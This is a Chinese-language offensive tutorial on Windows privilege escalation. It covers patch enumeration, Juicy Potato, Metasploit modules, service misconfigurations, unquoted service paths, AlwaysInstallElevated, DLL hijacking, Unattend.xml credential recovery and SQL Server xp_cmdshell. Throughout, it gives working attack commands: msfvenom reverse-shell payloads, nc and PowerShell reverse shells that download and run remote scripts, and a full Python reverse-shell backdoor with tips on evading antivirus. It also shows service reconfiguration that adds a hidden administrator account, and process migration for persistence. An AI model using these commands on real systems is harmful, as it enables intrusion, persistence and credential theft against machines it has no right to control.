Windwos提权

提权常用命令

systeminfo | findstr OS #获取系统版本信息

systeminfo&&wmic product get name,version&&wmic nic where PhysicalAdapter=True get MACAddress,Name&&wmic NICCONFIG WHERE IPEnabled=true GET IPAddress #检测系统软件包

hostname #获取主机名称

whoami /all #获取当前用户的详细信息

whoami /priv #显示当前用户的安全特权

net start #查看服务

query user #获取在线用户

netstat -ano | findstr 3389 #获取rdp连接来源IP

dir c:\programdata\ #分析安装杀软

wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口

tasklist /svc | find "TermService" #获取服务pid

netstat -ano |find "pid" #获取远程端口

windwos提权辅助脚本

检测系统补丁脚本

查看补丁

windows 内核提权exp

在线提权利用查询

提权辅助网页 Windows提权辅助 (hacking8.com)

windows漏洞提权流程

能够执行cmd命令->是否打补丁->补丁对应exp->获取服务器权限

执行命令的时候:aspx->php和asp

如果管理员删除服务器组件 wscript.shell 无法在asp执行cmd命令 这个时候可以使用aspx的后门查看是 否有权限执行cmd命令

补丁查询

hacking8在线查询补丁

systeminfo > c:\1.txt

wesng 查询补丁

git clone https://github.com/bitsadmin/wesng.git
python wes.py --update-wes #更新
pip3 install chardet #下载包

systeminfo > .\sys.txt
python wes.py .\sys.txt #检测补丁

WindowsVulnScan 查询补丁

项目地址:GitHub - chroblert/WindowsVulnScan

原理:

  1. 搜集CVE与KB的对应关系。首先在微软官网上收集CVE与KB对应的关系,然后存储进数据库中

  2. 查找特定CVE网上是否有公开的EXP

  3. 利用powershell脚本收集主机的一些系统版本与KB信息

  4. 利用系统版本与KB信息搜寻主机上具有存在公开EXP的CVE

参数:

# author: JC0o0l
# GitHub: https://github.com/chroblert/
可选参数:
  -h, --help            show this help message and exit
  -u, --update-cve      更新CVEKB数据
  -U, --update-exp      更新CVEEXP数据
  -m MODE, --mode MODE  搭配-U使用。更新模式 All:更新所有;Empty:只更新空白的;Error:只更新之前未成功更新的
  -C, --check-EXP       检索具有EXP的CVE
  -n PRODUCTNAME, --productName PRODUCTNAME
                        搭配-C使用。自定义产品名称,如Windows 10
  -N PRODUCTVERSION, --productVersion PRODUCTVERSION
                        搭配-C使用。自定义产品版本,如20H2
  -f FILE, --file FILE  ps1脚本运行后产生的.json文件

示例:

  1. 首先运行powershell脚本KBCollect.ps收集一些信息
.\KBCollect.ps1 
Set-ExecutionPolicy -Scope CurrentUser remotesigned #更改执行策略
  1. 将运行后产生的KB.json文件移动到cve-check.py所在的目录

  2. 安装一些python3模块

python3 -m pip install requirements.txt
  1. 运行cve-check.py -u创建CVEKB数据库

  2. 运行cve-check.py -U更新CVEKB数据库中的hasPOC字段

  此处可以使用-m选择更新模式。
  -m All:更新所有
  -m Empty:只更新hasPOC字段为空的
  -m Error:只更新hasPOC字段为Error的

webshell执行

在webshell执行需要把KBCollect.ps1最后一行进行修改 把Out-file的文件写在可写的目录上

# 1. 搜集所有的KB补丁
$KBArray = @()
$KBArray = Get-HotFix|ForEach-Object {$_.HotFixId}
$test = $KBArray|ConvertTo-Json
return $test
}
function Get-BasicInfo(){
# 1. 操作系统
# $windowsProductName = (Get-ComputerInfo).WindowsProductName
$windowsProductName = (Get-CimInstance Win32_OperatingSystem).Caption
# 2. 操作系统版本
$windowsVersion = (Get-ComputerInfo).WindowsVersion
$basicInfo = "
{""windowsProductName"":""$windowsProductName"",""windowsVersion"":""$windowsVer
sion""}"
return $basicInfo
}
$basicInfo = Get-BasicInfo
$KBList = Get-CollectKB
$KBResult = "{""basicInfo"":$basicInfo,""KBList"":$KBList}"
$KBResult|Out-File C:\Windows\temp\KB.json -encoding utf8

webshell执行powershell查询补丁 执行会在C:\Windows\temp\生成kb.json文件

Powershell IEX (New-Object
Net.WebClient).DownloadString('http://192.168.0.182/KBCollect.ps1')

把kb.json copy下载到本地检测

python cve-check.py -C -f KB.json

windows常用提权

通过上面的补丁查询,列出可用的exp,在webshell里使用提权exp对服务器进行提权。

CVE-2016-3225(MS16-075)提权

漏洞描述

​ 当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。 若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的 应用程序,从而控制受影响的系统。

注:烂土豆(Rotten Potato)提权是一个本地提权,是针对本地用户的,不能用于域用户

  • 利用流程:
  1. 欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
  2. 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
  3. 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

影响的版本:

https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2016/ms16-075

工具下载

Juicy Potato是一款Windows系统的本地提权工具,是在工具RottenPotatoNG的基础上做了扩展,适用条件更广

利用的前提是获得了SeImpersonate或者SeAssignPrimaryToken权限,通常在webshell下使用

Juicy Potato的下载地址:

https://github.com/ohpe/juicy-potato

原理分析:

Windows本地提权工具Juicy Potato测试分析 (3gstudent.github.io)

利用的关键:

当前用户支持SeImpersonate或者SeAssignPrimaryToken权限

以下用户具有该权限:

  • 本地管理员组成员和本地服务帐户
  • 由服务控制管理器启动的服务
  • 由组件对象模型 (COM) 基础结构启动的并配置为在特定帐户下运行的COM服务器

针对提权的话,主要是第三类用户,常见的为LocalService用户,例如IIS或者sqlserver的用户

使用方法

查看当前用户权限,是否符合要求

whoami /priv

如果开启SeImpersonate权限,juicypotato的参数可以使用-t t

如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u

如果均开启,可以选择-t *

如果均未开启,那么无法提权

根据操作系统选择可用的CLSID

参考列表

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

例如测试系统server2016,选择CLSID为

{4991d34b-80a1-4291-83b6-3328366b9097}

选择一个端口作为监听端口

JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {4991d34b-80a1-4291-83b6-3328366b9097}

表示开启SeImpersonate权限创建进程,监听端口1111,使用的CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}

  • 限制条件

    • 需要支持SeImpersonate或者SeAssignPrimaryToken权限

    • 开启DCOM

    • 本地支持RPC或者远程服务器支持PRC并能成功登录

    • 能够找到可用的COM对象

WEBSHELL版本

下载地址:

https://github.com/uknowsec/JuicyPotato

https://github.com/itm4n/PrintSpoofer

CVE-2014-4113 (MS14-058)提权

漏洞描述

Microsoft Windows下的 win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它 包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。如果Windows内核模式驱动程序不正确地处 理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代 码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。

影响版本:

该漏洞影响所有Windows x64,包括Windows 7 和 Windows Server 2008 R2 及以下版本。

漏洞复现

该漏洞利用简单,利用工具,上传之后提权就可以了

CVE-2020-0787 提权

漏洞描述

漏洞组件:后台智能传输服务模块(BITS)

组件特点:

  1. 从HTTP Web服务器和SMB文件共享下载文件或将文件上传到HTTP Web服务器和SMB文件共享。
  2. BITS将考虑传输成本以及网络使用情况,以便用户的前台工作影响尽可能小
  3. 即使重新启动后,BITS也可以处理网络中断,暂停并自动恢复传输。

当Windows背景智能传输服务(BITS)没有正确处理符号链接时,存在特权提升漏洞。成功利用此漏洞的攻击者可以改写目标文件,从而提升权限。要利用这个漏洞,攻击者首先必须登录系统,攻击者可以运行EXP,利用该漏洞来提权进而完全控制受影响的系统。漏洞爆出后的安全更新通过纠正Windows BITS处理符号链接的方式修复了这个漏洞。

EXP进行利用的思路是:

通过符号链接的方式写入dll进行提权。

  1. 本地创建job进行下载,在tmp文件上设置Oplock
  2. 恢复执行后该服务会写入TMP文件触发Oplock
  3. 此时切换挂载点到对象目录,创建符号链接,tmp文件指向fake.dll,本地文件指向system32文件夹中的dll
  4. 释放Oplock,由于是以System权限进行文件移动,因此会将fake.dll移动到system32文件夹下,实现提权

影响版本:

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0787

漏洞复现

工具下载:

https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION

  • 建立普通用户
net user only 123456 /add
  • 本地切换登录执行
c:\users\only\desktop\BitsArbitraryFileMoveExploit.exe

使用metasplit 提权

提权过程

1、生成反向连接后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.86.134 lport=12345 -f exe > s.exe

2、上传后门文件到目标可执行目录

3、启动metasplite并监听

监听ip和端口 这里的ip和端口要生成后门的端口和ip一致,ip可以设置成0.0.0.0 允许任何主机连接 入来 但是存在风险。

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.195
set lport 12345
exploit

4、在目标中执行后门

5、获取meterpreter

获取系统信息和当前账号 发现权限较低。 需要进行提权,提升当前所在服务器的权限。

6、权限提升

可以尝试使用常规的提权exp进行测试

windwos常见的提权模块

ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码
ms16_016 WebDAV本地提权漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle 本地提权漏漏洞
  • msf的基础命令
ps 列出进程
background 把session放置后台
sessions 查看会话
back 返回主界面
shell得到终端
search搜索模块
show 列模块
info 查看模块信息
use 使用模块
  • 查询补丁
run post/windows/gather/enum_patches
  • 使用模块进行提取

搜索模块 search ms16_075

info exploit/windows/local/ms16_075_reflection_juicy
use exploit/windows/local/ms16_075_reflection_juicy
show options 查看需要设置什么参数
set SESSION 1 设置SESSION 为1
exploit 运行

可以看到普通IIS用户已经成功提权到系统权限

  • 维持权限

系统是x64,把后门迁移到别的进程

getpid	查看当前shell进程号
ps		列出正在运行进程
migrate 2744 迁移进程号
run post/windows/manage/migrate	自动寻找合适进程迁移

7、使用模块提权审查

use post/multi/recon/local_exploit_suggester
set session 1
exploit
msf6 post(multi/recon/local_exploit_suggester) > exploit
[*] 192.168.44.138 - Collecting local exploits for x86/windows...
[*] 192.168.44.138 - 37 exploit checks are being tried...
nil versions are discouraged and will be deprecated in Rubygems 4
[+] 192.168.44.138 - exploit/windows/local/ikeext_service: The target appears to
be vulnerable.
[+] 192.168.44.138 -
exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is
running, but could not be validated.
[+] 192.168.44.138 - exploit/windows/local/ms16_075_reflection: The target
appears to be vulnerable.
[+] 192.168.44.138 - exploit/windows/local/ms16_075_reflection_juicy: The target
appears to be vulnerable.
[*] Post module execution completed

或者在meterpreter使用 run post/multi/recon/local_exploit_suggester 执行

msf6有bug,有失败的几率

反弹shell提权

​ 反弹shell提权是使用工具或者脚本 从服务器主动连接攻击者客户端,是从内部向外部通信,所以能穿透 防火墙,防火墙一般只对进来的流量进行拦截,并不对主动出去的流量进行拦截,所以反弹shell可以很 多的逃逸防火墙,另外反弹shell是交互shell,通信是交互的,所以能执行的命令更多,而且没有超时限 制,可以从受害者的服务器上下载,更多的资料。

交互shell和非交互shell

交互shell

交互shell就是shell等待你的输入,并且立即执行你提交的命令。

这种模式被称作交互式是因为shell与用户进行交互。

这种模式也是大多数用户非常熟悉的:登录、执行一些命令、签退。当签退后,shell也终止了。

需要进行信息交互,例如输入某个信息 会返回信息 你需要对其输入内容,输入会执行命令。

例如:cmd终端 msf反弹后门shell nc反弹shell 这些都属于交互shell

非交互shell

shell也可以运行在另外一种模式:

非交互式模式,以shell script(非交互)方式执行。

在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。

当它读到文件的结尾,shell也就终止了。如webshell等

nc反弹shell

攻击者监听

nc -lvnp 4444

使用webshell上传nc到服务器,在服务器上执行nc

反弹不了是权限的问题,手动上传一个cmd.exe即可

C:\Windows\debug\WIA\nc.exe -e c:\windows\system32\cmd.exe 192.168.86.134 4444

powershell反弹cmd

powercat是netcat的powershell版本

下载地址 https://github.com/besimorhino/powercat

这个网 默认是被墙的,所以可以放在可被访问的远程服务器上。执行命令的时候,自动下载执行。

攻击者监听

nc -lvnp 4444

webshell执行

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.86.1:8000/powercat.ps1'); powercat -c 192.168.86.134 -p 4444 -e cmd

nishang反弹shell

下载地址:https://github.com/samratashok/nishang

nishang是一个基于PowerShell的攻击框架,集合了一些 PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell

Reverse TCP shell

攻击者监听

nc -lvnp 4444

目标机执行

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://github.com/samratashok/nishang/tree/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.86.134 -port 4444

或在自己的服务器上下载

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.86.1:8000/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.86.134 -port 4444

Reverse UDP shell

攻击者监听

nc -lvup 53

目标执行

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.86.1:8000/nishang/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.86.134 -port 53

python反弹shell

使用python编写反弹shell,如果目标支持python3可以脚本直接执行即可

如果遇到 杀软 可以使用 生成exe的版本 可以很好的逃逸杀软

import asyncio
import socket
import argparse

parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter, 
                                 description="###############         pycat         ###############\n" \
                                             "          Windows Reverse TCP backdoor\n"
                                             "Usage: python pycat.py --host netcatIP --port PORT\n\n" \
                                             "Demo:  youtube.com/watch?v=3sMhHL6c68E\n"\
                                             "GitHub:  github.com/danielhnmoreno/pycat\n" \
                                             "Contact: contato@bluesafe.com.br")

parser.add_argument('--host', action = 'store', dest = 'host', required = True, help = 'Host listening for reverse connection')
parser.add_argument('--port', action = 'store', type=int, dest = 'port', required = True, help = 'Port')

arguments = parser.parse_args()

HOST = arguments.host
PORT = arguments.port


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

async def shell():
    while 1:
        proc = await asyncio.create_subprocess_shell("cmd",
                                                     stdin=asyncio.subprocess.PIPE,
                                                     stdout=asyncio.subprocess.PIPE,
                                                     stderr=asyncio.subprocess.STDOUT)
        cmd = b"\n"
        proc.stdin.write(cmd)

        while 1:
            while 1:
                out = await proc.stdout.readline()
                break_ = out.decode("latin-1")
                if break_[-2:] == ">\n" or break_[-3:] == "> \n":
                    s.send(out[:-1])
                    break
                elif break_.endswith(">" + cmd.decode()) or break_.endswith("> " + cmd.decode()):
                    pass
                else:
                    s.send(out)

            cmd = s.recv(1024)
            cmd_ = cmd.decode()
            if cmd_ == "\n":
                proc.stdin.write(b"\n")
            elif cmd_.startswith("exit"):
                proc.terminate()
                break
            else:
                proc.stdin.write(cmd + b"\n")

asyncio.set_event_loop_policy(asyncio.WindowsProactorEventLoopPolicy())
asyncio.run(shell())

目标上没有安装python 可以使用命令打包成exe在上传执行

pyinstaller -Fw pycat.py

攻击者监听

nc -lvnp 4444	

目标执行

pycat.exe --host 192.168.86.134 --port 4444

windows系统配置错误提权

系统服务权限配置错误

漏洞介绍

​ Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的)倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持

​ windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户 对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权 限。 windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护 的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。

漏洞复现

PowerUP脚本

下载地址:https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

加载模块并执行 列出可能存 在问题的所有服务 分析能否利用

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.86.1:8000/PowerUp.ps1');Invoke-AllChecks"

PrivescCheck

这个Powershell脚本比PowerUp显示的内容更加详细

PowerUp长期没更新了,建议用这 个工具对配置进行详细错误。

下载地址:https://github.com/itm4n/PrivescCheck

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.86.1/PrivescCheck.ps1'); Invoke-PrivescCheck"

这里可以使用 CVE-2019-1322

UsoSvc是Update Orchestrator服务以NT AUTHORITY\SYSTEM权限运行,在Windows 10及Windows Server 2019上默认处于启用状态。运行SysInternals的accesschk.exe工具后,从输出结果中我们可以看到Windows 10系统(1803版到1903版)赋予Update Orchestrator服务(UsoSvc)的访问控制策略。

UsoSvc
  Medium Mandatory Level (Default) [No-Write-Up]
  R NT AUTHORITY\Authenticated Users
       SERVICE_QUERY_STATUS
       SERVICE_QUERY_CONFIG
       SERVICE_INTERROGATE
       SERVICE_ENUMERATE_DEPENDENTS
       SERVICE_START
       SERVICE_USER_DEFINED_CONTROL
  R BUILTIN\Administrators
       SERVICE_QUERY_STATUS
       SERVICE_QUERY_CONFIG
       SERVICE_INTERROGATE
       SERVICE_ENUMERATE_DEPENDENTS
       SERVICE_START
       SERVICE_STOP
       SERVICE_USER_DEFINED_CONTROL
  RW NT AUTHORITY\SYSTEM
       SERVICE_ALL_ACCESS
  RW NT AUTHORITY\SERVICE
       SERVICE_ALL_ACCESS

最后两行表示NT AUTHORITY\SERVICE组中的用户具备该服务的完整访问权限,也就是说,隶属于该组的用户可以停止、重新配置以及启动该服务,这样用户就可以以NT AUTHORITY\SERVICE权限执行任意命令。

许多服务账户都隶属于NT AUTHORITY\SERVICE组,如上图中IIS服务用户,我们可以以NT AUTHORITY\SERVICE组中用户的身份运行如下命令

将名为Only的管理员用户(密码为Qwer1234)添加到存在漏洞的主机上,然后将该服务还原为默认状态,每次启动UsoSvc服务都将以NT AUTHORITY\SYSTEM用户权限运行

sc stop UsoSvc 
sc config UsoSvc binpath= "cmd.exe /c net user /add Only Qwer1234 &" 
sc start UsoSvc 

sc stop UsoSvc 
sc config UsoSvc binpath= "cmd.exe /c net localgroup administrators /add only &"
sc start UsoSvc 

sc stop UsoSvc 
sc config UsoSvc binpath= "C:\WINDOWS\system32\svchost.exe -k netsvcs -p" 
sc start UsoSvc

同理我们可将 UsoSvc服务设置为后门程序

此连接一般不稳定,建议尽快进行后门迁移

sc stop UsoSvc
sc config usosvc binPath= "C:\inetpub\wwwroot\s.exe"
sc start UsoSvc
set AutoRunScript migrate -f 自动迁移进程

image-20220208100703254

Metasploit中的攻击模块

use exploit/windows/local/service_permissions

service_permissions模块会使用 两种方式获取system权限 如果以管理员权限运行 会尝试创建并运行一 个新的服务 如果当前权限不允许创建服务 会判断哪些服务的文件或文件夹的权限有问题 并对其进行劫 持 在劫持服务时会创建一个可执行程序 其文件名和安装路径都是随机的

不带引号的服务路径提权

漏洞介绍

​ 当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。

​ 当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则 系统会按字面解释它并执行。但是,如果服务的二进制路径(BINARY_PATH_NAME)未包含在引号中,则操作系统将会执行找到 的空格分隔的服务路径的第一个实例。

  • 原理

生产可执行文件,重命名Program.exe,上传到 C:\

服务器执行的时候如果没有添加双引号 程序是这样寻找Rar.exe文件

  • 没有引号执行Program.exe

  • 有引号正常执行

当没有双引号的时候,windows会把空格前面的路径当作exe文件执行(如果有的话)。

漏洞复现

使用PowerUp.ps1或PrivescCheck进行检测,会遍历出带有空格的文件路径

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.86.1:8000/PowerUp.ps1');Invoke-AllChecks"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.86.1/PrivescCheck.ps1'); Invoke-PrivescCheck"

或者使用命令

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows" |findstr/i /v """

image-20220208185058049

看到运行服务路径没有双引号且存在空格,并且路径可写,即存在漏洞

如果E盘可写,上传后门到到E:\Program.exe即可

系统在重启或者管理员重启该服务的时候就会获取系统权限,如果有执行权限也可直接执行

记得在设置metasploist

set AutoRunScript migrate -f

run post/windows/manage/migrate

自动迁移进程 不然会连接就断开

注册键AlwaysInstallElevated

漏洞介绍

​ 允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NT Authority\System权限来安装恶意的MSI文件。

​ windows install是windows操作系统的组件之一,专门 用来管理配置软件服务。它除了是一个安装程序,还用于管理软件的安装、组件的添加、删除、监视文 件的还原、通过回滚进行灾难恢复。windows install通过msiexec.exe安装MSI文件,双击MSI文件就会 运行msiexec.exe。

原理:是因为用户打开了windows installer 特权安装功能

漏洞复现

  • 查看是否开启特权安装功能

运行gpedit.msc组策略编辑器
选择“计算机配置”-“管理模板”-“Windows组件”-“Windows installer“-“永远以高权限进行安装”

选择“用户配置”-“管理模板”-“Windows组件”-“Windows installer“-“永远以高权限进行安装”

或通过命令行启用

查看是否启用

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

使用系统权限通过命令行修改注册表值为1

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 

使用PowerUp检测注册表是否有设置,如果返回True证明可以利用

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.86.1/PowerUp.ps1');Get-RegistryAlwaysInstallElevated"

iis_user组用户权限不足 返回false,但是一般普通用户是拥有权限的。

  • 没有获取meterpreter的情况下

在可写目录下执行,生成添加后门用户的UserAdd.msi文件。

powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.86.1/PowerUp.ps1'); Write-UserAddMSI

执行msiexec.exe来安装UserAdd.msi文件

msiexec.exe /quiet /qn /i c:\windows\temp\UserAdd.msi

/quiet:安装过程中禁止向用户发送消息
/qn:不使用GUI
/q:隐藏安装界面
/i:安装程序

c:\windows\temp\UserAdd.tmpc:\windows\temp\UserAdd.msi会保存在c:\windows\temp下,当运行完关闭cmd之后,会留下一个UserAdd.tmp,记录了安装操作,然后C:\Users\dell\AppData\Local\Temp缓存中也会保存UserAdd.log日志文件

如果是域用户的话还需要请求域控制器通过才可以进行

或直接上传COMahawk64.exe 执行即可获取一个系统得账号和密码

下载地址:https://github.com/apt69/COMahawk/releases

  • 获取Metasploit 下的利用

​ Metasploit中相应的利用模块为exploit/windows/local/always_install_elevated,可以利用该模块来完成以上操作。使用该模块设置好SESSION,运行exploit后,会返回一个system权限的meterpreter。该模块会创建一个文件名随机的MSI文件,并在提权后删除所有已经部署的文件

本地dll劫持提权

漏洞介绍

​ 如果在进程尝试加载一个DLL时没有并没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录来查找这个DLL,如果攻击者能够将恶意的DLL放在优先于正常DLL所在的目录,那么就能够欺骗系统去加载恶意的DLL,形成”劫持”,CWE将其归类为UntrustedSearch Path Vulnerability,比较直译的一种解释。

​ Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)

​ 这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致 恶意dll先于系统dll加载,而系统dll是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件。

系统dll应该是经常调用的,如果我们对程序安装的目录拥有替换权限,比如装在了非系统盘,那么我们同样可以利用加载顺序的1来劫持系统的DLL。

漏洞复现

​ 程序运行一般会加载系统dll或本身程序自带的dll,如果我们将程序执行时需要加载的dll文件替换成木马程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了。

攻击步骤:收集进程加载的dll--制作dll木马并上传--替换dll--启动应用后成功

需要满足条件:你可以替换进程的dll,管理员运行该进程,这样你才可以获得提权结果。整体看比较被动,鸡肋!需要目标配合你。

  • 收集进程加载的dll

手动可以使用火绒剑分析进程执行时加载了哪些dll

尽量选择调用靠后或不影响进程启动的dll文件,否则会容易导致进程无法启动

系统文件一般我们都是没有权限更改不了的,所以一般选择未知文件和数字签名文件

  • 制作dll木马并上传

生成dll文件上传并在进程未启动时替换原来的dll

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.86.134 lport=12345 -f dll > libcurl_x86.dll

  • 启动应用

使用Metasploit持续监听,并等待管理员再次运行程序

自动安装配置文件提权

漏洞介绍

​ 网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而是会采用脚本化批量部署的方法。在这一过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中的一些还可能包含本地管理员的账号和密码等信息。我们可以对整个系统进行检查,这些安装配置文文件列举如下:

C:\sysprep.inf

C:\syspreg\sysprep.xml

C:\Windows\system32\sysprep.inf

C:\windows\system32\sysprep\sysprep.xml

C:\unattend.xml

C:\Windows\Panther\Unattend.xml

C:\Windows\Panther\Unattended.xml

C:\Windows\Panther\Unattend\Unattended.xml

C:\Windows\Panther\Unattend\Unattend.xml

C:\Windows\System32\Sysprep\Unattend.xml

C:\Windows\System32\Sysprep\Panther\Unattend.xml

漏洞复现

全盘搜索Unattend文件是个好办法,可以用以下命令来全盘搜索Unattend.xml文件:

dir /b /s c:\Unattend.xml

/s:显示指定目录和所有子目录中的文件。

除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作系统时使用的凭据信息,这些信息可以帮助我们提权。

打开文件之后格式为xml格式然后可以进行搜索:

UserAccountsUserAccountsLocalAccountsAdministratorPassword

或者经过base64加密的密码,因为我们只需要这部分,例如:

<UserAccounts>
    <LocalAccounts>
        <LocalAccount>
            <Password>
                <Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value>
                <PlainText>false</PlainText>
            </Password>
            <Description>Local Administrator</Description>
            <DisplayName>Administrator</DisplayName>
            <Group>Administrators</Group>
            <Name>Administrator</Name>
        </LocalAccount>
    </LocalAccounts>
</UserAccounts>

在这个Unattend文件中,我们可以看到一个本地账户被创建并加入到了管理员组中。管理员密码没有以明文形式显示,但是显然密码是以Base64进行编码的。

密码为P@ssword123!Password但是微软在进行编码前会在Unattend文件中所有的密码后面都追加Password,所以我们本地管理员的密码实际上是P@ssword123!

使用msf扫描

post/windows/gather/enum_unattend

这个模块仅仅只是搜索Unattend.xml文件,然而会忽略其他像syspref.xml和syspref.inf这样的文件。简而言之,这个模块就是全盘搜索Unattend.xml文件并读取出管理员账户密码。

使用Powerup扫描

powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://host/powerup.ps1');Get-UnattendedInstallFile"

第三方提权

​ 除了系统自带的服务外 ,安装第三方的软件例如 mysql sqlserver ftp等应用软件,如果权限设置不对, 会对服务器造成安全隐患,从而导致服务器被提权。

​ 在利用系统漏洞没有效果的情况下,可以采用数据库进行提权。

sqlserver提权

如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,利用提权脚本,执行命令,但是不一定是系统权限,还要看管理员安装sqlserver的权限设置,一般情况是system权限或者pulic

敏感文件

web.config
config.asp
conn.aspx
database.aspx

关于xp_cmdshell

存储过程

一、介绍

存储过程是一个可编程的函数,它在数据库中创建并保存,是存储在服务器中的一组预编译过的T-SQL(SQL语言版本之一,只能在SQLserver使用)语句。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式(可以将存储过程理解为函数调用的过程),使用execute命令执行存储过程。

二、分类
系统存储过程、扩展存储过程、用户自定义的存储过程。

  1. 系统存储过程主要存储在master数据库中,以"sp_"为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名;
  2. 扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以“xp_"为前缀,使用方法与系统存储过程类似;
  3. 用户定义的存储过程是SQLServer的使用者编写的存储过程;

三、执行
存储过程为数据库提供了强大的功能,但在相应的权限下,攻击者可以利用不同的存储过程执行不同的高级功能,如:创建数据库用户、枚举文件目录、执行任意系统命令等。正因如此,SQLserver2005、2008等之后的版本分别对存储过程做了权限控制,以防滥用。
以下提权方式多为利用存储过程进行提权,想要查看数据库中是否有对应的存储过程,可以用下面的语句,若返回结果为1,则说明已开启。

select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate';

如果我们能够获取SA的管理员权限,我们就可以使用SA的管理权限可以直接执行扩展存储过程中的“xp_cmdshell脚本”,并获得返回值。

xp_cmdshell扩展存储过程提权

扩展存储过程中xp_cmdshell是一个开放接口,可以让SQLserver调用cmd命令,直接用SQL语句实现cmd操作,危害非常大。此存储过程在SQLserver2000中默认开启,2005本身及之后的版本默认禁止,所以想要使用该存储过程,就需要拥有SA账号相应权限,使用sp_configure(显示或更改当前服务器的全局配置设置)将其开启。
